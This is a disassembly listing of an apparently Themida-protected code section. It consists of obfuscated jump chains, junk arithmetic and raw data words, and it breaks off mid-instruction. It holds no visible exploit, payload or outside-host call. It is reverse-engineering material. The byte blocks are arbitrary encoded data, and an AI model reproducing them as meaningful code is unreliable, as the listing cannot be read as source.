Themida_:005184B3j push 480Dh jmp loc_50DF65 ; --------------------------------------------------------------------------- dd 83242489h, 5A042404h, 8904EC83h, 4B9240Ch, 81000000h dd 263152C2h, 7AF5E963h, 0E9810000h, 635E1659h, 4759CF89h dd 45C2EF81h, 0E9535AB1h, 12338h, 68D830ACh, 2EE9h, 0B5240C89h dd 22B4508Bh, 0F604E4C0h, 7ECC0DCh, 8023EC80h, 0E500DFECh dd 8324048Bh, 46E904C4h, 51FFFFFCh, 0DBB33EB1h, 284FEB80h dd 4FC380CBh, 0E9CBFE59h, 133Ah ; --------------------------------------------------------------------------- loc_50DB54: ; CODE XREF: Themida_:005104FAj xchg ebp, [esp] pop esp push ebx push esp jmp loc_50FAF9 ; --------------------------------------------------------------------------- aBxq db 'q',8,0 dd 0BDED8163h, 1EE37B3h, 0BA525DEBh, 28CA18D2h, 1DE9D329h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50DB7B: ; CODE XREF: Themida_:0050EF91j add ebp, 7BFF7008h jmp loc_50C3E8 ; --------------------------------------------------------------------------- dw 3489h dd 0BB535724h, 441E7074h, 0FFF9B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_50DB95: ; CODE XREF: Themida_:005128A6j shr ebx, 2 neg ebx shl ebx, 6 not ebx sub ebx, 0B8414CAAh jmp loc_50CD8A ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 0FFED83E9h, 81DE01FFh, 0C172C9EEh, 0D8685B46h dd 89000030h, 4BB241Ch, 81000000h, 0D3839EEh, 0E9DE2973h dd 0DA24h, 42474FFh, 335BE9h, 0B8504200h, 27F81D3Ah, 0B2A9E9h dd 646D6800h, 1C890000h, 0C2ADE924h, 295A0000h, 2BE958C3h dd 68000023h, 0D80CA3h, 5F2434FFh, 81E28952h, 4C2h, 4BE5600h dd 1000000h, 14875EF2h, 0B9515C24h, 41775948h, 0E959CF31h dd 0FFFFFF7Ah ; --------------------------------------------------------------------------- loc_50DC30: ; CODE XREF: Themida_:0050F496j sub esi, 4 jmp loc_510F29 ; --------------------------------------------------------------------------- dd 66C0B60Fh, 5324148Bh, 0B951E389h, 1CAA0907h, 57B1BF57h dd 0D1E96594h, 81FFFFEAh, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 0E789243Ch, 0A73AE9h, 0FDEA8100h, 1354B19h, 0FDC281EAh dd 8B354B19h, 0C483242Ch, 2BF28104h, 0E971552Bh, 29D3h dd 521919B9h, 59CD8927h, 0B8273CBBh, 5DEB3157h, 0B37DE9h dd 0C3BF5700h, 12C7934h, 65E95FFDh, 570000A5h, 2822BDBFh dd 0EC834F49h, 243C8904h, 3D3DE9h, 59CF0100h, 2BB53h, 0DF010000h dd 0E91EE95Bh, 0C581FFFFh, 4882CB03h, 286E953h, 56580001h dd 426B0ABEh, 1C6831Eh, 0FFE560E9h db 0FFh ; --------------------------------------------------------------------------- loc_50DCED: ; CODE XREF: Themida_:0051C26Aj push 7BF5h mov [esp], esi jmp loc_51E715 ; --------------------------------------------------------------------------- loc_50DCFA: ; CODE XREF: Themida_:0051B194j xor edx, [esp] xor [esp], edx jmp loc_512AD0 ; --------------------------------------------------------------------------- db 58h, 89h, 0F8h dd 0E689565Fh, 4C681h, 7CE90000h db 0, 1, 0 ; --------------------------------------------------------------------------- loc_50DD17: ; CODE XREF: Themida_:0050CE19j push 52ABh mov [esp], ebp mov ebp, esp push esi mov esi, 4 sub ebp, 3A3F5655h add ebp, esi add ebp, 3A3F5655h pop esi push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] jmp loc_520441 ; --------------------------------------------------------------------------- aVsN db 'VN',0 db 0 ; --------------------------------------------------------------------------- loc_50DD4D: ; CODE XREF: Themida_:00518A61j mov ebp, ecx pop ecx jmp loc_50F3F6 ; --------------------------------------------------------------------------- db 52h, 0B6h, 1Bh dd 306BB551h, 0F32859EEh, 16C8E95Ah, 248B0001h, 2434FF24h dd 0E9242C8Bh, 31D2h, 8086F180h, 0AFE9BCE1h, 81FFFFF8h dd 4C4h, 0F2815A00h, 10092Bh, 0C38158h, 81164D7Ch, 3B28BAEBh dd 0E9D3012Bh, 0E2FDh ; --------------------------------------------------------------------------- loc_50DDA0: ; CODE XREF: Themida_:0050E3C8j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_515ED3 ; --------------------------------------------------------------------------- align 10h dd 69B652E7h, 0CEFECEFEh, 0FEF2E680h, 915EE9C6h, 44010000h dd 5D580424h, 8904EC83h, 0BF572414h, 20630102h, 0EFC1DFF7h dd 0BBC78104h, 89FFF57Bh, 0CA815FFAh, 3E295CD9h, 4A42DAF7h dd 0A001F281h, 0ED81C010h, 7AA76D30h, 7334ED81h, 26E96230h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50DE03: ; CODE XREF: Themida_:0051AA81j add edi, edx pop edx sub edi, 4D8671C0h add edi, ebp add edi, 4D8671C0h sub edi, 6BB2736Bh pop ebp push ebx mov ebx, 4 add edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_50D2AC ; --------------------------------------------------------------------------- loc_50DE45: ; CODE XREF: Themida_:0051D1A5j push ebx jmp loc_519754 ; --------------------------------------------------------------------------- aI4HE db '\4$hE',0 align 4 dd 68241C89h, 5AE75CADh, 51241C8Bh, 69E3E9h db 0 ; --------------------------------------------------------------------------- loc_50DE65: ; CODE XREF: Themida_:0051B47Aj push ecx mov ecx, 31576BE1h add ecx, 0DA270B02h add edx, ecx pop ecx jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 51h, 0B9h, 2 dd 89B40D2Eh, 0EA8159CAh, 20837E32h, 0C281DA01h, 20837E32h dd 5B2434FFh, 4C481h, 0D3010000h, 5A2434FFh, 0E9E28952h dd 0FFFFF5C2h, 0E92434FFh, 12DBAh, 4C681h, 0EE830000h dd 7AE95604h, 0F70000BCh, 0CC89E9D0h, 81430000h, 7C4F1C3h dd 0E9D83191h, 12708h, 4C181h, 4CE90000h db 19h, 1, 0 ; --------------------------------------------------------------------------- loc_50DEDF: ; CODE XREF: Themida_:00518B9Fj sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_516ADA ; --------------------------------------------------------------------------- loc_50DEEC: ; CODE XREF: Themida_:00519B8Fj mov esp, [esp] mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_51C88A ; --------------------------------------------------------------------------- dw 2C04h dd 0E519E9h db 0 ; --------------------------------------------------------------------------- loc_50DF0D: ; CODE XREF: Themida_:00514F45j push 149h mov [esp], edi mov edi, esp jmp loc_50F2B5 ; --------------------------------------------------------------------------- loc_50DF1C: ; CODE XREF: Themida_:00511FC7j sub esp, 4 mov [esp], ebp jmp loc_51C9D1 ; --------------------------------------------------------------------------- db 0B8h dd 33E743C4h, 8158C221h, 985D50EAh, 1FBD5577h, 8151AD10h dd 1C5h, 0D0F79500h, 0D50BE995h, 0C4830000h, 1E21E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50DF52: ; CODE XREF: Themida_:0051D870j pop ebp not esi not esi push eax push ebx push 41927E9h pop ebx inc ebx jmp loc_51666A ; --------------------------------------------------------------------------- loc_50DF65: ; CODE XREF: Themida_:0050DADBj mov [esp], ebx jmp loc_50F220 ; --------------------------------------------------------------------------- loc_50DF6D: ; CODE XREF: Themida_:0050CF16j add esp, 4 xor ebp, ebx xor ebx, ebp xor ebp, ebx xor esi, ebp xor ebp, esi jmp loc_51B294 ; --------------------------------------------------------------------------- aTxs db 'TX}',0 dd 4C48100h, 81000000h, 4ECh, 9EB9E900h, 0FF560000h, 5E042474h dd 8B24048Fh, 24892424h, 24048124h, 4, 5BBB535Dh, 0E9610A1Ch dd 9C95h, 71E9FE01h, 81000062h, 5CEACCEEh, 5EF12951h, 0E9240C87h dd 1A36h, 2D3FC381h, 0C8B5E6Dh, 0DF2FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DFE2: ; CODE XREF: Themida_:0051E672j mov [esp], ebx push edi mov edi, 34D52104h shl edi, 8 add edi, 34C85B53h add edi, 0F616A0B1h mov ebx, edi jmp loc_50CD61 ; --------------------------------------------------------------------------- db 55h, 0FFh, 4 dd 0C5815D24h, 10CFE6DFh, 815DEE29h, 50C74C6h, 0DB1DE967h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E01A: ; CODE XREF: Themida_:0051A2DBj pop ebx sub ecx, ebx sub ecx, 6EC371D4h pop ebx dec ecx push ebp sub esp, 4 mov [esp], eax mov eax, 7DCF6622h mov ebp, eax pop eax jmp loc_50CC0C ; --------------------------------------------------------------------------- db 5Ah, 87h, 1Ch dd 0C895C24h, 0F7DDB924h, 81E92D64h, 8B00003Fh, 0F662424h dd 8357C8B6h, 248904ECh, 24048124h, 4, 11FDE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E066: ; CODE XREF: Themida_:0051F97Cj mov edi, 19C03C84h not edi jmp loc_51CBA0 ; --------------------------------------------------------------------------- dw 0EDC1h dd 5EDC106h, 59DAC581h, 0E829240Bh, 2DA8E95Dh, 4050000h dd 83000000h, 48704E8h, 34895C24h, 2D35BE24h, 0C3E9106Ah dd 8000004Ch, 0B252CEC9h, 5AD12850h, 0AA47E9h db 0 ; --------------------------------------------------------------------------- loc_50E0AD: ; CODE XREF: Themida_:0051EECDj pop ecx jmp loc_515621 ; --------------------------------------------------------------------------- db 83h dd 5F042404h, 4EC81h, 0E5E90000h, 5500003Ah, 0CC027DBDh dd 81D5F77Ch, 33FD80F5h, 0E9E90183h, 47ECh, 4BA52h, 0D7010000h dd 8124148Bh, 4C4h, 4EC8300h, 793BE9h, 4EC8100h, 89000000h dd 0B8502414h, 30DE4C16h, 97E9D0F7h, 810000A5h, 4C4h, 8BD80900h dd 0C483241Ch, 4B123504h, 0BF57660Ch, 0B007353Fh, 0B69CE9h dd 268AD00h, 0E900007Bh, 11DD8h, 0B25266ACh, 66D028B6h dd 2841045Ah, 0BBF2E9D8h, 0CF010000h, 0E71EE9h, 8BC82900h dd 8957240Ch, 4C781E7h, 52000000h, 0EB1672BAh, 68CA812Eh dd 0E95EB94Fh, 2B4Dh, 54614CB9h, 0E9CB892Dh, 12BABh, 582434FFh dd 8483E9h db 0 ; --------------------------------------------------------------------------- loc_50E17D: ; CODE XREF: Themida_:0050B5FBj push ecx mov cl, 6Dh jmp loc_51C779 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0DA010000h, 2414335Bh, 84ECE9h db 0 ; --------------------------------------------------------------------------- loc_50E195: ; CODE XREF: Themida_:00514115j sub esp, 4 mov [esp], esi jmp loc_517958 ; --------------------------------------------------------------------------- dd 0E906EBC1h, 8AB0h, 8B241487h, 0C8B2424h, 0BD685524h dd 89000069h, 4812424h, 424h, 0C5815D00h, 4, 94E1E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E1CE: ; CODE XREF: Themida_:00520442j push ecx jmp loc_510B50 ; --------------------------------------------------------------------------- loc_50E1D4: ; CODE XREF: Themida_:00516F1Bj mov esi, esp add esi, 4 push eax mov eax, 2FE279A5h jmp loc_5184B8 ; --------------------------------------------------------------------------- db 81h dd 2C4h, 0F7F7E900h, 24890000h, 1774E924h, 81410001h, 2D0DCAE9h dd 0D1C98171h, 0C168E235h, 814905E9h, 0B5677EC1h, 59CD3166h dd 0E3FDE9h, 2434FF00h, 11560E9h db 0 ; --------------------------------------------------------------------------- loc_50E221: ; CODE XREF: Themida_:00518F84j mov eax, 4 mov edx, eax jmp loc_50BC39 ; --------------------------------------------------------------------------- loc_50E22D: ; CODE XREF: Themida_:0051A0E7j sub ebx, 6A9F55B7h and ebx, 21037E22h shr ebx, 4 dec ebx jmp loc_51291B ; --------------------------------------------------------------------------- dw 4481h dd 1560424h, 34FF679Eh, 7A8AE924h, 0F6810000h, 55085CEFh dd 0F1B5E9h, 240C8900h, 11945E9h, 241C8B00h, 5F04C483h dd 113F8E9h db 0 ; --------------------------------------------------------------------------- loc_50E271: ; CODE XREF: Themida_:00510377j add eax, 6567278Eh not eax jmp loc_50C892 ; --------------------------------------------------------------------------- loc_50E27D: ; CODE XREF: Themida_:0051C862j shr eax, 5 sub eax, 5DE7584Bh xor eax, 0F1DE5813h add edx, eax mov eax, [esp] jmp loc_51F347 ; --------------------------------------------------------------------------- loc_50E294: ; CODE XREF: Themida_:00515B57j shl ch, 7 shr ch, 8 push edx mov dl, 5 jmp loc_51C277 ; --------------------------------------------------------------------------- aFzsL db 'fZ,',0 dd 24048900h, 3E1285B8h, 0FFC2893Eh, 48B2434h, 0FA45E924h dd 0CB010000h, 6A25E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E2C6: ; CODE XREF: Themida_:0051A5E3j add eax, 0E89504Ah add eax, 3DBC499Ch push dword ptr [eax] jmp loc_51A0EC ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 0D303E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E2E2: ; CODE XREF: Themida_:0051CFC5j pop eax mov ebp, [esp] jmp loc_520D57 ; --------------------------------------------------------------------------- loc_50E2EB: ; CODE XREF: Themida_:0051581Aj pop ebx add eax, 4 jmp loc_518A43 ; --------------------------------------------------------------------------- loc_50E2F4: ; CODE XREF: Themida_:0051F94Fj push dword ptr [esp] pop edx jmp loc_51C52D ; --------------------------------------------------------------------------- loc_50E2FD: ; CODE XREF: Themida_:00515F3Dj sub esp, 4 jmp loc_51FCDA ; --------------------------------------------------------------------------- dd 0E9FFC783h, 1EF3h ; --------------------------------------------------------------------------- loc_50E310: ; CODE XREF: Themida_:0051A29Ej mov [esp], eax mov esi, [esp] add esp, 4 push dword ptr [esp] pop eax jmp loc_516F1A ; --------------------------------------------------------------------------- db 54h, 5Bh, 81h dd 4C3h, 4C38100h, 0E9000000h, 8855h ; --------------------------------------------------------------------------- loc_50E338: ; CODE XREF: Themida_:0051E708j not ecx jmp loc_513E4E ; --------------------------------------------------------------------------- loc_50E33F: ; CODE XREF: Themida_:00511191j mov esp, [esp] mov [esp], edx sub esp, 4 jmp loc_51FB47 ; --------------------------------------------------------------------------- aIS db '<$',0 aS_6 db '',0 dd 4C48300h, 0D20BE9h db 0 ; --------------------------------------------------------------------------- loc_50E35D: ; CODE XREF: Themida_:00516465j push edi mov edi, 274E2A2Ah jmp loc_50CFBB ; --------------------------------------------------------------------------- dd 240C8B66h, 0EEE95452h, 510000EDh, 0ADE9F3B1h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50E37B: ; CODE XREF: Themida_:00514D38j mov esi, ebx pop ebx sub ebp, esi pop esi jmp loc_51D29C ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FAB9E9h, 41E95F00h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E397: ; CODE XREF: Themida_:0051D227j shr eax, 12h xor eax, ecx push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_51332E ; --------------------------------------------------------------------------- loc_50E3B0: ; CODE XREF: Themida_:005106E9j add esp, 4 shr esi, 3 sub esi, 17FFEABCh add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_50DDA0 ; --------------------------------------------------------------------------- loc_50E3CD: ; CODE XREF: Themida_:0051BC79j mov [ebx], ch mov ecx, [esp] add esp, 4 mov ebx, [esp] push 59CAh jmp loc_51301E ; --------------------------------------------------------------------------- dw 54B3h dd 80AAC380h, 0C4041AC3h, 0C42CD800h, 240C8B5Bh, 0E9E18951h dd 5EA1h, 0D1A7E940h, 0FE010000h, 0E9F0295Fh, 74B2h, 0E9E9EB00h dd 8B000026h, 0B4E92404h, 33FFFFDAh, 1C31241Ch, 0ED1AE924h dd 6C05FFFFh, 0E9327CC8h, 57E9h ; --------------------------------------------------------------------------- loc_50E430: ; CODE XREF: Themida_:0050FB02j push ebx jmp loc_50FDB1 ; --------------------------------------------------------------------------- dw 0C668h dd 89000078h, 74FF243Ch, 34FF0424h, 243C8B24h, 0D4E5E956h dd 895C0000h, 98E92404h, 0AC0000BFh, 71A768h, 24148900h dd 6DE96CB6h, 890000EBh, 7BD242Ch, 81004400h, 763669EBh dd 0F7BFE905h, 0DD290000h, 1C6F095Bh, 53242C8Bh, 0FFEC34E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E489: ; CODE XREF: Themida_:0051A3B9j pop ecx not ecx xchg ecx, edx xchg edx, ebx xor edi, ebx xor ebx, edi xor edi, ebx xchg edi, [esp] push dword ptr [esp] pop eax add esp, 4 push ebp push esp pop ebp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] jmp loc_50EBF3 ; --------------------------------------------------------------------------- aZ4Hy db '4$\hY~',0 align 2 dw 3489h dd 4BE24h, 0F2010000h, 0E957535Eh, 6C6Dh ; --------------------------------------------------------------------------- loc_50E4D8: ; CODE XREF: Themida_:005210FAj push 4 jmp loc_51584F ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 4C481h, 0E9510000h, 0A746h ; --------------------------------------------------------------------------- loc_50E4F4: ; CODE XREF: Themida_:0050C1CDj push edx mov dl, 0F3h inc dl xor dl, 0EDh and cl, dl pop edx push edx mov dl, 70h jmp loc_51E3CB ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 0D4F4E924h, 0F8010000h, 7253685Fh, 34890000h dd 6633BE24h, 0F0215ACCh, 8324348Bh, 514004C4h, 0E59FE9h dd 0DDEB8000h, 8FACE9h, 89565800h, 4C681E6h, 0E9000000h dd 0FFFFE7B1h ; --------------------------------------------------------------------------- loc_50E548: ; CODE XREF: Themida_:0051B656j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_519013 ; --------------------------------------------------------------------------- loc_50E55B: ; CODE XREF: Themida_:00519C9Fj mov esp, [esp] mov [esp], edi mov edi, 4A685B38h shr edi, 8 xor edi, 14A685Bh and eax, edi jmp loc_5101C1 ; --------------------------------------------------------------------------- dw 0C788h dd 0B7E9FA88h, 52000004h, 0BA1604BAh, 5AD3015Eh, 713CE9h db 0 ; --------------------------------------------------------------------------- loc_50E58D: ; CODE XREF: Themida_:0051D116j push 4C52h jmp loc_50FB77 ; --------------------------------------------------------------------------- db 0F7h dd 86E581DDh, 812F8242h, 0B45D6FC5h, 0EBF5811Bh, 140B69Dh dd 0FE95DEEh, 0BD000102h, 73C1173Dh, 4246C29h, 1AD5E95Dh dd 0F3280000h, 65EB805Ah, 510AC380h, 0BFE96AB5h, 380000E9h dd 0AE99CC1h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E5DB: ; CODE XREF: Themida_:00513066j mov eax, ebp push dword ptr [esp] pop ebp push 27B2h mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], esi jmp loc_51EC26 ; --------------------------------------------------------------------------- db 5Bh, 33h, 0Ch dd 240C3124h, 5C240C33h, 3911B951h, 0E1C10DB4h, 0A739E908h dd 77FF0000h, 58669D1Ch, 24041966h, 0CFC3E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E622: ; CODE XREF: Themida_:00514FA4j sub ebx, 1AE816FCh sub esi, ebx pop ebx sub esi, ecx jmp loc_510452 ; --------------------------------------------------------------------------- dw 0EB83h dd 0C1D3F701h, 0CB8107EBh, 24B01A36h, 2B8DF381h, 0EB8111DAh dd 1DAB03B9h, 0D15BDA01h, 0BC281E2h, 52591032h, 2434FF5Fh dd 4C4815Ah, 81000000h, 0F0C011C7h, 0A07EE999h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E66E: ; CODE XREF: Themida_:0051B16Aj sub ebx, 0AB06209h add ebx, 0DB50BC9h add ebx, 79EE225Ch mov ecx, [ebx] mov ebx, [esp] add esp, 4 push ebx push 6CF0h mov [esp], esp jmp loc_5114D3 ; --------------------------------------------------------------------------- db 5Bh, 1, 0F7h dd 14CEBA52h, 0EF813700h, 3F52106Ch, 0C781D729h, 3F52106Ch dd 0A1C6E9h, 1C77FF00h, 582434FFh, 48E668h, 24048900h dd 4EC81h, 8F540000h, 0EC812404h, 4, 0BE243489h, 4, 0FFED03E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E6E1: ; CODE XREF: Themida_:0051E307j pop ebp sub esp, 4 mov [esp], edi sub esp, 4 jmp loc_51B64A ; --------------------------------------------------------------------------- loc_50E6F3: ; CODE XREF: Themida_:0051ED1Aj push 2482h mov [esp], ecx mov ecx, 78210EEh jmp loc_5123C6 ; --------------------------------------------------------------------------- db 52h, 0E9h, 0F9h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E70B: ; CODE XREF: Themida_:00515BACj push 745B5CABh pop ebp shl ebp, 4 add ebp, 6A743D07h add ebp, 4FD5F84Dh jmp loc_50F8D0 ; --------------------------------------------------------------------------- loc_50E725: ; CODE XREF: Themida_:00510DE2j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop eax push 517Bh mov [esp], edi mov edi, 7B744DD0h not edi add edi, 6FB0AEDh sub esp, 4 jmp loc_51014F ; --------------------------------------------------------------------------- dd 0D1BE565Bh, 29676415h, 4CE95EF5h, 0F700001Eh, 2CC281D2h dd 29481059h, 0E9565AD3h, 0EC53h ; --------------------------------------------------------------------------- loc_50E774: ; CODE XREF: Themida_:0050E7E3j push 58B74DCCh pop eax add eax, 31FF425Ch or eax, 55CE41AEh neg eax push edx mov edx, 1 sub eax, edx pop edx push 483Bh mov [esp], edi jmp loc_511C64 ; --------------------------------------------------------------------------- loc_50E79C: ; CODE XREF: Themida_:00512CF7j pop ecx jmp loc_519114 ; --------------------------------------------------------------------------- loc_50E7A2: ; CODE XREF: Themida_:00520B2Ej add eax, 50CC3A57h add eax, edx jmp loc_518312 ; --------------------------------------------------------------------------- dw 0DFF7h dd 0D2C7814Fh, 4F53AA40h, 1D94EF81h, 0F889291Ch, 7397E9h dd 0E4EB8100h, 0E9611715h, 0FFFFDABAh ; --------------------------------------------------------------------------- loc_50E7D0: ; CODE XREF: Themida_:0051295Bj push dword ptr [esp] pop eax add esp, 4 push 3C6Ah mov [esp], ecx push eax jmp loc_50E774 ; --------------------------------------------------------------------------- loc_50E7E8: ; CODE XREF: Themida_:0051723Cj sub ebp, eax pop eax xchg ebp, [esp] pop esp jmp loc_512EAE ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Bh, 0FFD8DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_50E801: ; CODE XREF: Themida_:00514D90j xchg eax, edi not eax xchg eax, edi shl edi, 2 xor edi, 0DE6E91D0h add ebp, 233B7AF8h add ebp, edi sub ebp, 233B7AF8h pop edi xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 jmp loc_5198FC ; --------------------------------------------------------------------------- db 0B4h dd 21EFE9F1h, 0C2040001h, 0C22CF000h, 5A2434FFh, 8B04C483h dd 8682414h, 8900006Bh, 0E789243Ch, 4C781h, 0C7810000h dd 4, 2474FF57h, 3E62E904h, 0CE810000h, 78D37C05h, 0F7DEF746h dd 0E822E9DEh, 1ABD0000h, 315C2033h, 2434FFEFh, 0E089505Dh dd 405h, 40500h, 4870000h, 0EF835C24h, 75896801h, 60E90000h dd 570000AEh, 0D8243481h, 5A64EB2Eh, 2ED8F281h, 3C8B64EBh dd 4C48324h, 148BD589h, 4C48124h, 0C1000000h, 0C58104EDh dd 3E1408F1h, 5606EDC1h, 126DBE9h db 0 ; --------------------------------------------------------------------------- loc_50E8D1: ; CODE XREF: Themida_:0051522Bj mov ebx, 4A98137Ch dec ebx shl ebx, 3 push edx mov edx, 1A940187h dec edx shl edx, 7 jmp loc_518E37 ; --------------------------------------------------------------------------- loc_50E8E9: ; CODE XREF: Themida_:00512824j xor ebp, ecx jmp loc_51ED54 ; --------------------------------------------------------------------------- loc_50E8F0: ; CODE XREF: Themida_:0050CDEFj add eax, 69165ACh jmp loc_50EE48 ; --------------------------------------------------------------------------- dw 815Eh dd 0F75AB6EBh, 942DE938h, 34FF0000h, 0C4815E24h, 4, 81E68956h dd 4C6h, 25BB5300h, 816CBC5Bh, 0FF64AACBh, 2DE94307h, 8B00006Dh dd 0C483240Ch, 24148B04h, 52E38953h, 987FBBBAh, 89E94222h dd 0E9FFFFD7h, 0FFFFCC9Dh, 6824048Bh, 536Ch, 54241489h dd 4C2815Ah, 81000000h, 4C2h, 0CA8DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E966: ; CODE XREF: Themida_:0050ED3Dj mov [esp], ebp mov ebp, 2E771225h mov ecx, 27EA3DC7h add ecx, 0FFFFFFFFh xor ecx, 77F316FDh shr ecx, 4 dec ecx jmp loc_514E78 ; --------------------------------------------------------------------------- loc_50E988: ; CODE XREF: Themida_:0050FC3Fj add esp, 4 add eax, 5D893F5Fh sub eax, esi sub eax, 5D893F5Fh pop esi push dword ptr [esp] mov ecx, [esp] jmp loc_510B13 ; --------------------------------------------------------------------------- dw 0F301h dd 0FFE9BDE9h, 0C8B66FFh, 4EC8324h, 5F6EE9h, 0DF015900h dd 4B39E955h, 53660000h, 0C3FECDB3h, 0FEDEF380h, 66CBFECBh dd 6F52E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E9D6: ; CODE XREF: Themida_:0051C161j sub esi, 72E46C70h sub esi, 0D5048C42h shr esi, 3 dec esi push ebp jmp loc_517DD3 ; --------------------------------------------------------------------------- loc_50E9EC: ; CODE XREF: Themida_:00512053j pop ecx jmp loc_51EC13 ; --------------------------------------------------------------------------- dw 0BF57h dd 4, 4247C01h, 0BF575D5Fh, 4, 815FFD01h, 4EDh, 242C8700h dd 241C895Ch, 4DABBA52h, 0E281541Ch, 20C42DE6h, 0DA2F281h dd 58E90004h, 5100004Ah, 268h, 995DE900h, 665B0000h, 5724048Bh dd 0C781E789h, 4, 2C781h, 3C870000h, 0E5305C24h, 0E530EC30h dd 0F6E38853h, 0E9DC88D3h, 0E6A3h, 0E178E951h, 0E953FFFFh dd 0DD8Dh, 4C281h, 0EA830000h, 24148704h, 32ADE95Ch, 0D5310000h dd 0F5814D5Ah, 1125527Fh, 505DEE01h, 2B8h, 0E9C60100h dd 7074h ; --------------------------------------------------------------------------- loc_50EA98: ; CODE XREF: Themida_:005199E9j and eax, 3CF46789h shl eax, 8 sub eax, 1B0C5897h push ebx mov ebx, 0E513A765h jmp loc_50C803 ; --------------------------------------------------------------------------- dd 81E68956h, 4C6h, 2C68300h, 5C243487h, 5DE95266h, 810000B4h dd 102C20F3h, 5BDD0168h, 0A865E9h, 58D2B800h, 40483A7Eh dd 2B08E635h, 252D4868h, 0E9892255h, 0C4FCh, 0D9F68EB1h dd 0A8E9C1FEh, 8BFFFFF5h, 5450241Ch, 4BA5258h, 68000000h dd 303Dh, 0BD242C89h, 6E194300h, 515DE829h, 0DBBAE9h db 0 ; --------------------------------------------------------------------------- loc_50EB19: ; CODE XREF: Themida_:0051DD81j push dword ptr [esp] pop edx sub esp, 4 jmp loc_50EC10 ; --------------------------------------------------------------------------- loc_50EB25: ; CODE XREF: Themida_:0050CEB8j and ah, 2Dh or ah, 98h sub ah, 0B7h sub cl, ah jmp loc_515324 ; --------------------------------------------------------------------------- db 0BFh, 39h, 7Fh dd 3DB907CCh, 3107CC7Fh, 0CF015FF9h, 83240C8Bh, 0E95704C4h dd 4929h, 6FDBC581h, 0EE01C55Dh, 0B4E8E9h db 0 ; --------------------------------------------------------------------------- loc_50EB5D: ; CODE XREF: Themida_:0051BCBAj xchg eax, [esp] pop esp push 4A0Ah mov [esp], ebp push esp pop ebp add ebp, 4 push edx push 484Eh mov [esp], esi mov esi, 27D538B3h shl esi, 3 shl esi, 7 xchg ecx, esi jmp loc_51BB22 ; --------------------------------------------------------------------------- aYsStu db 'YS[u',0 db 0 ; --------------------------------------------------------------------------- loc_50EB95: ; CODE XREF: Themida_:0051B297j push edi push 13C7h mov [esp], edi push 497Bh mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], ebx mov ebx, 4 add edi, 5C0B30EFh add edi, ebx sub edi, 5C0B30EFh pop ebx sub esp, 4 jmp loc_50EC62 ; --------------------------------------------------------------------------- loc_50EBCD: ; CODE XREF: Themida_:0051ECE1j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], esi jmp loc_516F74 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 14E95F04h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EBF3: ; CODE XREF: Themida_:0050E4B8j mov [esp], edi sub esp, 4 jmp loc_51E73A ; --------------------------------------------------------------------------- loc_50EC01: ; CODE XREF: Themida_:00519D77j mov eax, esp jmp loc_52004A ; --------------------------------------------------------------------------- dd 0E924048Fh, 6C18h ; --------------------------------------------------------------------------- loc_50EC10: ; CODE XREF: Themida_:0050EB20j mov [esp], edx mov edx, esp push eax mov eax, 4 jmp loc_518CAA ; --------------------------------------------------------------------------- loc_50EC20: ; CODE XREF: Themida_:005159D8j neg esi push eax mov eax, 175A434Eh add esi, eax pop eax sub esp, 4 jmp loc_50D274 ; --------------------------------------------------------------------------- aSfz db ']',0 align 4 loc_50EC3C: ; CODE XREF: Themida_:0050D9DCj sub esi, ecx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5192DA ; --------------------------------------------------------------------------- dw 248Bh dd 0C896624h, 49ACE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50EC62: ; CODE XREF: Themida_:0050EBC8j mov [esp], eax mov eax, 4 sub 